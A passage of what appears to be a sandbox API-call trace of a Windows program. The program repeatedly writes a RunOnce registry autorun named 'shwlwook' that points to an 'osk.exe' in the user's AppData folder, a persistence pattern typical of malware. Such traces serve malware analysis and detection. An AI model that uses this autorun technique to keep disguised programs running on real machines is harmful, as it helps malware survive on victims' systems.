[5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.077] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.077] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624f7b0 | out: ppvObject=0x624f7b0*=0x0) returned 0x80004002 [0256.077] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x12 [0256.077] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x11 [0256.077] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.077] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x11 [0256.077] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624f7c0) returned 0x0 [0256.078] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x10 [0256.078] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.078] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.078] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.079] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.079] RegCloseKey (hKey=0x14c) returned 0x0 [0256.079] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.079] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.086] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.086] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.086] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.086] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.087] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fff0 | out: ppvObject=0x624fff0*=0x0) returned 0x80004002 [0256.087] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x12 [0256.087] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.087] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x13 [0256.087] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0cc0) returned 0x0 [0256.087] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x12 [0256.087] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.087] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.087] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.088] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.088] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624ffd0 | out: ppvObject=0x624ffd0*=0x0) returned 0x80004002 [0256.088] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x13 [0256.088] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x12 [0256.088] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.088] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x12 [0256.088] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624ffa0) returned 0x0 [0256.089] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x11 [0256.089] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.090] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.090] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.090] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.090] RegCloseKey (hKey=0x14c) returned 0x0 [0256.090] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.091] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.102] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.102] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.103] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.103] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.103] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624ff70 | out: ppvObject=0x624ff70*=0x0) returned 0x80004002 [0256.103] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x13 [0256.103] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.103] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x14 [0256.103] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0c60) returned 0x0 [0256.103] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x13 [0256.103] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.103] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.103] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.104] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.104] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624ff50 | out: ppvObject=0x624ff50*=0x0) returned 0x80004002 [0256.104] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x14 [0256.104] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x13 [0256.104] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.104] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x13 [0256.104] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x624ff20) returned 0x0 [0256.105] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x12 [0256.105] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.105] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.105] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.106] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.106] RegCloseKey (hKey=0x14c) returned 0x0 [0256.106] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.106] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.133] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.133] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.133] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.133] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.133] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x624fef0 | out: ppvObject=0x624fef0*=0x0) returned 0x80004002 [0256.133] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x14 [0256.133] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.134] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x15 [0256.134] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x80e0c00) returned 0x0 [0256.134] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x14 [0256.134] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.134] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.134] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.134] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, 